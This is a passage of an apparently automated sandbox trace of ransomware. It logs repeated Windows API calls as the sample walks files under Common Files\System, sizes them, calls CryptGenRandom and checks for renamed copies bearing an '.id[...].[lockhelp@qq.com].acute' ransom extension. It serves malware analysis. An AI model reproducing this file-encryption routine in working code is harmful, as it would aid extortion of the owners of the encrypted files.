"c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.208] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.208] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=73728) returned 1 [0274.208] CloseHandle (hObject=0x30c) returned 1 [0274.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0274.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.209] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.209] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=94208) returned 1 [0274.209] CloseHandle (hObject=0x30c) returned 1 [0274.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0274.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.209] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.210] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=98304) returned 1 [0274.210] CloseHandle (hObject=0x30c) returned 1 [0274.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0274.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.210] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.210] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=98304) returned 1 [0274.210] CloseHandle (hObject=0x30c) returned 1 [0274.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0274.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.210] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.211] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=98304) returned 1 [0274.211] CloseHandle (hObject=0x30c) returned 1 [0274.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0274.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.211] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.211] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=466944) returned 1 [0274.211] CloseHandle (hObject=0x30c) returned 1 [0274.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0274.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.211] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.212] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=20480) returned 1 [0274.212] CloseHandle (hObject=0x30c) returned 1 [0274.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0274.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.212] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.213] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=61440) returned 1 [0274.213] CloseHandle (hObject=0x30c) returned 1 [0274.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0274.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.213] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.213] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=495616) returned 1 [0274.213] CloseHandle (hObject=0x30c) returned 1 [0274.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0274.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.213] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.214] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=28672) returned 1 [0274.214] CloseHandle (hObject=0x30c) returned 1 [0274.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0274.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.214] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.214] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=106496) returned 1 [0274.214] CloseHandle (hObject=0x30c) returned 1 [0274.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0274.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.214] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.215] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=29184) returned 1 [0274.215] CloseHandle (hObject=0x30c) returned 1 [0274.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0274.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\directdb.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.215] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.216] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=93696) returned 1 [0274.216] CloseHandle (hObject=0x30c) returned 1 [0274.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0274.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.216] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.217] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=9728) returned 1 [0274.217] CloseHandle (hObject=0x30c) returned 1 [0274.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0274.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.218] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.218] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=5120) returned 1 [0274.218] CloseHandle (hObject=0x30c) returned 1 [0274.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui")) returned 0x20 [0274.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.218] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.218] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=5632) returned 1 [0274.218] CloseHandle (hObject=0x30c) returned 1 [0274.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0274.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.218] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.268] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=13824) returned 1 [0274.268] CloseHandle (hObject=0x30c) returned 1 [0274.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0274.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.268] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.268] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=5632) returned 1 [0274.268] CloseHandle (hObject=0x30c) returned 1 [0274.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0274.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.268] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 